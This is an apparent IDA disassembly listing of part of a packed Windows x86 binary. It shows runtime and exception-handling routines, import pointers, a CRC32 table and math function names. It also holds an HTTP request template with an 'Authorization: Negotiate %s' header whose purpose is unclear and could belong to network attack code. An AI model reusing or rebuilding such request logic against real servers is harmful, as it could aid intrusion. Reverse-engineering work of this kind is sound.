		lea	eax, [ebp-3Ch]
		push	offset dword_4220A8
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_421C6C
		call	sub_420209
		pop	esi
sub_41FFDC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_420036	proc near		; CODE XREF: sub_420073+20p
					; DATA XREF: .nsp0:004220ACo
		mov	eax, offset loc_420318
		call	sub_416458
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_421C5C
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_404D21
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_4201B5
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_420036	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420073	proc near		; DATA XREF: .nsp0:00421C74o

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4200AC
		lea	eax, [ebp+var_1C]
		push	offset dword_4220A8
		push	eax
		call	sub_420209

loc_420090:				; DATA XREF: .nsp0:off_421C6Co
		push	esi
		mov	esi, ecx
		call	sub_420036
		test	[esp+20h+var_18], 1
		jz	short loc_4200A6
		push	esi
		call	sub_416477
		pop	ecx

loc_4200A6:				; CODE XREF: sub_420073+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_420073	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4200AC	proc near		; CODE XREF: sub_420073+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41FEF1
		mov	dword ptr [esi], offset	off_421C6C
		mov	eax, esi
		pop	esi
		retn	4
sub_4200AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200C4	proc near		; DATA XREF: .nsp0:0042300Co

; FUNCTION CHUNK AT 004200FA SIZE 0000000C BYTES

		test	byte_46979C, 1
		jnz	short loc_4200D4
		or	byte_46979C, 1

loc_4200D4:				; CODE XREF: sub_4200C4+7j
		call	sub_4200EE
		test	byte_46AB38, 1
		jnz	short loc_4200E9
		or	byte_46AB38, 1

loc_4200E9:				; CODE XREF: sub_4200C4+1Cj
		jmp	loc_4200FA
sub_4200C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200EE	proc near		; CODE XREF: sub_4200C4:loc_4200D4p
		push	offset nullsub_1
		call	sub_416840
		pop	ecx
		retn
sub_4200EE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4200C4

loc_4200FA:				; CODE XREF: sub_4200C4:loc_4200E9j
		push	offset nullsub_1
		call	sub_416840
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_4200C4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_420106	proc near		; CODE XREF: sub_40446E+5Ep
					; sub_405409+159p
		jmp	dword_4211D4
sub_420106	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42010C	proc near		; CODE XREF: sub_4160C4+23p
					; sub_416368+13p
		jmp	dword_421154
sub_42010C	endp


; =============== S U B	R O U T	I N E =======================================



sub_420112	proc near		; DATA XREF: .nsp0:off_421C94o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4201B5
		test	[esp+4+arg_0], 1
		jz	short loc_420128
		push	esi
		call	sub_416477
		pop	ecx

loc_420128:				; CODE XREF: sub_420112+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_420112	endp


; =============== S U B	R O U T	I N E =======================================



sub_42012E	proc near		; CODE XREF: sub_41FE0A+1Fp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_421C94
		push	dword ptr [edi]
		call	sub_415CF0
		inc	eax
		push	eax
		call	sub_4167C5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42015D
		push	dword ptr [edi]
		push	eax
		call	sub_415C00
		pop	ecx
		pop	ecx

loc_42015D:				; CODE XREF: sub_42012E+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42012E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42016B	proc near		; CODE XREF: sub_41FEF1+17p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_421C94
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_4201A8
		push	dword ptr [edi+4]
		call	sub_415CF0
		inc	eax
		push	eax
		call	sub_4167C5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_4201AE
		push	dword ptr [edi+4]
		push	eax
		call	sub_415C00
		pop	ecx
		pop	ecx
		jmp	short loc_4201AE
; ---------------------------------------------------------------------------

loc_4201A8:				; CODE XREF: sub_42016B+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax

loc_4201AE:				; CODE XREF: sub_42016B+2Ej
					; sub_42016B+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42016B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4201B5	proc near		; CODE XREF: sub_41FE98+2Bp
					; sub_41FF4E+2Bp ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_421C94
		jz	short locret_4201CA
		push	dword ptr [ecx+4]
		call	sub_416477
		pop	ecx

locret_4201CA:				; CODE XREF: sub_4201B5+Aj
		retn
sub_4201B5	endp

; ---------------------------------------------------------------------------
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_4201D7
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_4201D7:				; CODE XREF: .nsp0:004201D0j
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4201D8	proc near		; CODE XREF: .nsp0:004201F0p
		mov	dword ptr [ecx], offset	off_421CB4
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4201EC
		push	ecx
		call	sub_415E3D
		pop	ecx

locret_4201EC:				; CODE XREF: sub_4201D8+Bj
		retn
sub_4201D8	endp

; ---------------------------------------------------------------------------

loc_4201ED:				; DATA XREF: .nsp0:off_421CB4o
		push	esi
		mov	esi, ecx
		call	sub_4201D8
		test	byte ptr [esp+8], 1
		jz	short loc_420203
		push	esi
		call	sub_416477
		pop	ecx

loc_420203:				; CODE XREF: .nsp0:004201FAj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420209	proc near		; CODE XREF: sub_41FDB0+54p
					; sub_41FE7B+18p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_421CB8
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	dword_421184
		pop	edi
		pop	esi
		leave
		retn	8
sub_420209	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_420244	proc near		; DATA XREF: .nsp0:00421E84o

; FUNCTION CHUNK AT 00404B16 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_404B16
sub_420244	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_420262
		mov	ecx, [ebp+8]
		jmp	loc_404B16
; ---------------------------------------------------------------------------

locret_420262:				; CODE XREF: .nsp0:00420254j
		retn
; ---------------------------------------------------------------------------

loc_420263:				; DATA XREF: sub_4046AAo
		mov	eax, offset dword_421E58
		jmp	loc_416113
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+14h]
		jmp	loc_404B16
; ---------------------------------------------------------------------------

loc_420278:				; DATA XREF: .nsp0:00421EB4o
		lea	ecx, [ebp-1Ch]
		jmp	loc_404B16
; ---------------------------------------------------------------------------

loc_420280:				; DATA XREF: sub_40484Co
		mov	eax, offset dword_421E88
		jmp	loc_416113
; ---------------------------------------------------------------------------
		align 4

loc_42028C:				; DATA XREF: sub_404DF9o
		mov	eax, offset dword_421EB8
		jmp	loc_416113
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_404B16
; ---------------------------------------------------------------------------

loc_4202A0:				; DATA XREF: sub_41FDB0o
		mov	eax, offset dword_421F90
		jmp	loc_416113
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-14h]
		jmp	sub_4201B5
; ---------------------------------------------------------------------------

loc_4202B4:				; DATA XREF: sub_41FE0Ao
		mov	eax, offset dword_421FB8
		jmp	loc_416113
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4201B5
; ---------------------------------------------------------------------------

loc_4202C8:				; DATA XREF: sub_41FE98o
		mov	eax, offset dword_422000
		jmp	loc_416113
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_4201B5
; ---------------------------------------------------------------------------

loc_4202DC:				; DATA XREF: sub_41FEF1o
		mov	eax, offset dword_422028
		jmp	loc_416113
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_4201B5
; ---------------------------------------------------------------------------

loc_4202F0:				; DATA XREF: sub_41FF4Eo
		mov	eax, offset dword_422050
		jmp	loc_416113
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_404B16
; ---------------------------------------------------------------------------

loc_420304:				; DATA XREF: sub_41FFDCo
		mov	eax, offset dword_4220B8
		jmp	loc_416113
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4201B5
; ---------------------------------------------------------------------------

loc_420318:				; DATA XREF: sub_420036o
		mov	eax, offset dword_4220E0
		jmp	loc_416113
; ---------------------------------------------------------------------------
		align 4
		dd 337h	dup(0)
dword_421000	dd 22696h		; DATA XREF: sub_40A6A8+5Ar
dword_421004	dd 22AAEh		; DATA XREF: sub_41FAC2+173r
dword_421008	dd 22A9Ch		; DATA XREF: sub_41F845+3Er
					; sub_41F845+261r
dword_42100C	dd 22A8Ah		; DATA XREF: sub_41F845+5Br
					; sub_41F845+B9r
dword_421010	dd 22A7Ah		; DATA XREF: sub_41E84C+F9r
dword_421014	dd 22A6Ah		; DATA XREF: sub_41DF9E+8r
dword_421018	dd 22A5Ah		; DATA XREF: sub_41DF66+Cr
dword_42101C	dd 22A3Ch		; DATA XREF: sub_41DF48+5r
					; sub_41DF59+6r
dword_421020	dd 22A28h		; DATA XREF: sub_41D503+2Cr
dword_421024	dd 22A18h		; DATA XREF: sub_41D3D5:loc_41D425r
					; sub_41D44C:loc_41D49Fr
dword_421028	dd 22A06h		; DATA XREF: sub_41D1F7+3Fr
					; sub_41D1F7+12Dr
dword_42102C	dd 229F4h		; DATA XREF: sub_41D1F7+59r
					; sub_41D1F7+8Dr
dword_421030	dd 229E6h		; DATA XREF: sub_41CC52+FFr
					; sub_41CC52+166r ...
dword_421034	dd 229D6h		; DATA XREF: sub_41CC52+158r
					; sub_41CF19+143r
dword_421038	dd 229C4h		; DATA XREF: sub_41CC52+19Dr
dword_42103C	dd 229AAh		; DATA XREF: sub_41CB20+9r
dword_421040	dd 22992h		; DATA XREF: sub_41CB20:loc_41CB4Fr
					; sub_41CB20+E1r
dword_421044	dd 22978h		; DATA XREF: sub_41CB20+CEr
dword_421048	dd 22348h		; DATA XREF: sub_401000+AAr
					; sub_401447+95r ...
dword_42104C	dd 22356h		; DATA XREF: sub_401000+27r
					; sub_401447+1A6r ...
dword_421050	dd 22366h		; DATA XREF: sub_4010B2+18Cr
					; sub_4010B2+2D4r ...
dword_421054	dd 22380h		; DATA XREF: sub_4010B2+182r
					; sub_4018CA+FFr
dword_421058	dd 2239Ch		; DATA XREF: sub_40211A+20r
					; sub_40AAD1+183r ...
dword_42105C	dd 223B2h		; DATA XREF: sub_40211A+Er
					; sub_40B16D+Dr ...
dword_421060	dd 223C2h		; DATA XREF: sub_4021FB+5Dr
					; sub_40283D+E3r ...
dword_421064	dd 223CAh		; DATA XREF: sub_402FDD+66r
					; sub_4030C0+65r ...
dword_421068	dd 223E0h		; DATA XREF: sub_4033CB+135r
					; sub_406A32+80r ...
dword_42106C	dd 223ECh		; DATA XREF: sub_4033CB+120r
					; sub_4033CB+150r ...
dword_421070	dd 223FAh		; DATA XREF: sub_4033CB+103r
					; sub_409E15+AEr ...
dword_421074	dd 22406h		; DATA XREF: sub_4033CB+E9r
dword_421078	dd 2241Ah		; DATA XREF: sub_4033CB+68r
					; sub_406100+1C4r ...
dword_42107C	dd 22428h		; DATA XREF: sub_405A89+18r
					; sub_407276+58r ...
dword_421080	dd 2243Eh		; DATA XREF: sub_405F7E+9Fr
					; sub_40AAD1+1B6r
dword_421084	dd 22450h		; DATA XREF: sub_405F7E+8Br
					; sub_40AAD1+19Fr
dword_421088	dd 22462h		; DATA XREF: sub_406100+282r
					; sub_407276:loc_4073B2r ...
dword_42108C	dd 22472h		; DATA XREF: sub_406100+24Dr
					; sub_407276+10Er ...
dword_421090	dd 22482h		; DATA XREF: sub_406100+1EEr
					; sub_406A32+38r ...
dword_421094	dd 22490h		; DATA XREF: sub_406100+110r
					; sub_409E15+10Fr ...
dword_421098	dd 224A6h		; DATA XREF: sub_4063B0+5E8r
					; sub_4088A0+C0r ...
dword_42109C	dd 224B2h		; DATA XREF: sub_4063B0+27Br
dword_4210A0	dd 224CAh		; DATA XREF: sub_4063B0+26Dr
dword_4210A4	dd 224E4h		; DATA XREF: sub_4063B0+20Dr
					; sub_4063B0+5D7r ...
dword_4210A8	dd 224F4h		; DATA XREF: sub_4063B0+1FCr
					; sub_4088A0+26r
dword_4210AC	dd 22506h		; DATA XREF: sub_406A32+6Cr
					; sub_40B712+259r ...
dword_4210B0	dd 22518h		; DATA XREF: sub_40778B+13Fr
dword_4210B4	dd 22530h		; DATA XREF: sub_40778B+D4r
dword_4210B8	dd 22548h		; DATA XREF: sub_40799F+77r
dword_4210BC	dd 22570h		; DATA XREF: sub_40799F+6Br
					; sub_40799F+22Fr
dword_4210C0	dd 22588h		; DATA XREF: sub_4089F2+13Ar
					; sub_4089F2:loc_408EE2r ...
dword_4210C4	dd 22598h		; DATA XREF: sub_4089F2+11r
					; sub_419EEF+15r ...
dword_4210C8	dd 225AAh		; DATA XREF: sub_4089F2+2r
					; sub_409E15+FBr ...
dword_4210CC	dd 225BEh		; DATA XREF: sub_409C08+2Dr
dword_4210D0	dd 225D0h		; DATA XREF: sub_409C92+26r
dword_4210D4	dd 225E0h		; DATA XREF: sub_409C92+1Dr
dword_4210D8	dd 225EEh		; DATA XREF: sub_409CCD+69r
dword_4210DC	dd 22600h		; DATA XREF: sub_409CCD+36r
dword_4210E0	dd 22610h		; DATA XREF: sub_409CCD+25r
dword_4210E4	dd 22626h		; DATA XREF: sub_409D4F+96r
dword_4210E8	dd 22634h		; DATA XREF: sub_409D4F+60r
dword_4210EC	dd 22642h		; DATA XREF: sub_409E15+17Er
					; sub_409F9D+B4r ...
dword_4210F0	dd 22654h		; DATA XREF: sub_409E15+15Dr
dword_4210F4	dd 22670h		; DATA XREF: sub_409E15+126r
					; sub_40C682+1BFr ...
dword_4210F8	dd 22686h		; DATA XREF: sub_409E15+35r
					; sub_40CE55+3D2Fr
dword_4210FC	dd 226ACh		; DATA XREF: sub_40A6A8+3Dr
dword_421100	dd 226BCh		; DATA XREF: sub_40A7FD+91r
dword_421104	dd 226CEh		; DATA XREF: sub_40A7FD+79r
					; sub_413D67+Cr ...
dword_421108	dd 226E2h		; DATA XREF: sub_40A7FD+3Br
dword_42110C	dd 226F0h		; DATA XREF: sub_40AAD1+24r
					; .nsp0:004142A7r
dword_421110	dd 22700h		; DATA XREF: sub_40AAD1+1CFr
dword_421114	dd 22716h		; DATA XREF: sub_40BCEF+478r
					; sub_40C59A+DFr ...
dword_421118	dd 22724h		; DATA XREF: sub_40C682+333r
					; sub_40CE55+473Er ...
dword_42111C	dd 22732h		; DATA XREF: sub_40C682+26Fr
					; sub_413DD2+175r ...
dword_421120	dd 22740h		; DATA XREF: sub_40C682+262r
dword_421124	dd 22756h		; DATA XREF: sub_40C682:loc_40C847r
dword_421128	dd 22762h		; DATA XREF: sub_40C682+75r
					; sub_40C682+309r
dword_42112C	dd 22778h		; DATA XREF: sub_40C682+6Er
dword_421130	dd 22788h		; DATA XREF: sub_40CE55+4986r
					; sub_4150CE+2Br
dword_421134	dd 2279Ah		; DATA XREF: sub_40CE55+3B20r
dword_421138	dd 227A6h		; DATA XREF: sub_41328A+13r
					; sub_41BD71+20Dr ...
dword_42113C	dd 227BCh		; DATA XREF: sub_413CA9+34r
					; .nsp0:0041419Cr
dword_421140	dd 227D0h		; DATA XREF: sub_413DD2+184r
					; sub_414061+1Fr ...
dword_421144	dd 227E4h		; DATA XREF: .nsp0:00414233r
dword_421148	dd 227F6h		; DATA XREF: sub_4149DE+1EBr
dword_42114C	dd 2280Ah		; DATA XREF: sub_415E07+2Er
					; sub_4174DF+AFr ...
dword_421150	dd 22816h		; DATA XREF: sub_415E3D+27r
					; sub_418B28+2C4r ...
dword_421154	dd 22822h		; DATA XREF: sub_42010Cr
dword_421158	dd 2282Eh		; DATA XREF: sub_416AD4+6Cr
					; sub_41E162+38r
dword_42115C	dd 22848h		; DATA XREF: sub_416AD4+17r
dword_421160	dd 22858h		; DATA XREF: sub_4174DF+F0r
					; sub_41915C+28r
dword_421164	dd 22866h		; DATA XREF: .nsp0:00417B97r
					; sub_41CC52+59r
dword_421168	dd 22878h		; DATA XREF: .nsp0:00417B6Cr
dword_42116C	dd 2288Ah		; DATA XREF: .nsp0:00417B1Er
dword_421170	dd 22898h		; DATA XREF: sub_418A83+2Fr
dword_421174	dd 228A6h		; DATA XREF: sub_418A83+11r
dword_421178	dd 228B4h		; DATA XREF: sub_418B28+23Fr
dword_42117C	dd 228C2h		; DATA XREF: sub_41915C+76r
					; sub_41920D+51r
dword_421180	dd 228D2h		; DATA XREF: sub_41DF82+Cr
dword_421184	dd 228E2h		; DATA XREF: sub_4196E9+215r
					; sub_420209+2Er
dword_421188	dd 228F4h		; DATA XREF: sub_41AC48+21r
dword_42118C	dd 22900h		; DATA XREF: sub_41BD71+5Er
					; sub_41BD71+A7r
dword_421190	dd 22910h		; DATA XREF: sub_41BD71+42r
					; sub_41BD71+14Dr ...
dword_421194	dd 22920h		; DATA XREF: sub_41BFC0+48r
					; sub_41C1FF+14r ...
dword_421198	dd 2292Ch		; DATA XREF: sub_41C159+2Fr
dword_42119C	dd 22936h		; DATA XREF: sub_41C159+1Ar
dword_4211A0	dd 22942h		; DATA XREF: sub_41C63E+138r
dword_4211A4	dd 2295Eh		; DATA XREF: sub_41CB20+11Fr
		dd 0
dword_4211AC	dd 80000074h		; DATA XREF: sub_405A0C+6Er
					; sub_405A89+8Er
dword_4211B0	dd 80000073h		; DATA XREF: sub_405409+47r
					; sub_405A0C+15r
dword_4211B4	dd 80000015h		; DATA XREF: sub_405409+8Dr
dword_4211B8	dd 8000000Ah		; DATA XREF: sub_405409+9Dr
dword_4211BC	dd 80000002h		; DATA XREF: sub_405409+C4r
dword_4211C0	dd 8000000Dh		; DATA XREF: sub_405409+D8r
dword_4211C4	dd 80000001h		; DATA XREF: sub_405409+180r
dword_4211C8	dd 80000034h		; DATA XREF: .nsp0:0040530Cr
dword_4211CC	dd 80000016h		; DATA XREF: .nsp0:004053F5r
dword_4211D0	dd 80000012h		; DATA XREF: sub_40446E+4Cr
					; sub_405409+115r
dword_4211D4	dd 80000097h		; DATA XREF: sub_420106r
dword_4211D8	dd 8000000Bh		; DATA XREF: sub_40283D+27r
					; sub_402DDD+2Ar ...
dword_4211DC	dd 80000009h		; DATA XREF: sub_40283D+37r
					; sub_402988+EDr ...
dword_4211E0	dd 80000017h		; DATA XREF: sub_40283D+46r
					; sub_402DDD+49r ...
dword_4211E4	dd 80000004h		; DATA XREF: sub_40283D+61r
					; sub_402DDD+64r ...
dword_4211E8	dd 80000010h		; DATA XREF: sub_40283D+7Er
					; sub_40283D+135r ...
dword_4211EC	dd 80000013h		; DATA XREF: sub_40283D+D1r
					; sub_402988+26Br ...
dword_4211F0	dd 80000003h		; DATA XREF: sub_40283D+13Er
					; sub_402DDD+154r ...
		align 8
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40484C+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_421238	dq 1.388888888888889e-2	; DATA XREF: sub_40465E+2Fr
dbl_421240	dq 1.666666666666667e-1	; DATA XREF: sub_40465E+15r
dword_421248	dd 0FFFFFFFFh		; DATA XREF: sub_4046AA+16Fr
					; sub_404B1Er ...
		align 10h
dbl_421250	dq 1.333333333333333	; DATA XREF: sub_4046AA+79r
dword_421258	dd 0			; DATA XREF: sub_40484C+4Do
					; sub_404BCE+5Bo ...
dword_42125C	dd 0			; DATA XREF: sub_40B41E+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
		dd 0
dbl_421660	dq 9.765625e-4		; DATA XREF: sub_40BCEF+2BDr
					; sub_40BCEF+2D8r ...
dbl_421668	dq -3.0517578125e-5	; DATA XREF: sub_414098+1Er
dbl_421670	dq 1.0			; DATA XREF: sub_415E6C+6Cr
					; sub_415FB3+6Cr ...
dword_421678	dd 0FFFFFFFFh, 417BCFh,	417BE3h	; DATA XREF: .nsp0:00417AFDo
byte_421684	db 6			; DATA XREF: sub_417D4C:loc_417DA3r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: .nsp0:off_437D8Co
		unicode	0, <(null)>,0
		align 10h
aNull_0		db '(null)',0           ; DATA XREF: .nsp0:off_437D88o
		align 4
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 10h
aAtan2		db 'atan2',0
		align 4
aAtan		db 'atan',0
		align 10h
aAcos		db 'acos',0
		align 4
aAsin		db 'asin',0
		align 10h
aTanh		db 'tanh',0
		align 4
aCosh		db 'cosh',0
		align 10h
aSinh		db 'sinh',0
		align 4
aLog10		db 'log10',0
		align 10h
aLog		db 'log',0
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: .nsp0:off_437FB4o
		align 10h
dbl_4217B0	dq 0.0			; DATA XREF: sub_41999C+8Cr
					; sub_41999C+ACr ...
dbl_4217B8	dq 4.195835e6		; DATA XREF: sub_419EB1+Fr
dbl_4217C0	dq 3.145727e6		; DATA XREF: sub_419EB1+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_419EEF+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_419EEFo
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_41A016+93o
		align 4
dword_4217F8	dd 0FFFFFFFFh, 41A701h,	41A70Bh, 0 ; DATA XREF:	sub_41A69A+5o
dword_421808	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41A7C9+5o
		dd offset loc_41A887
		align 8
		dd offset sub_41A865
		dd offset sub_41A86F
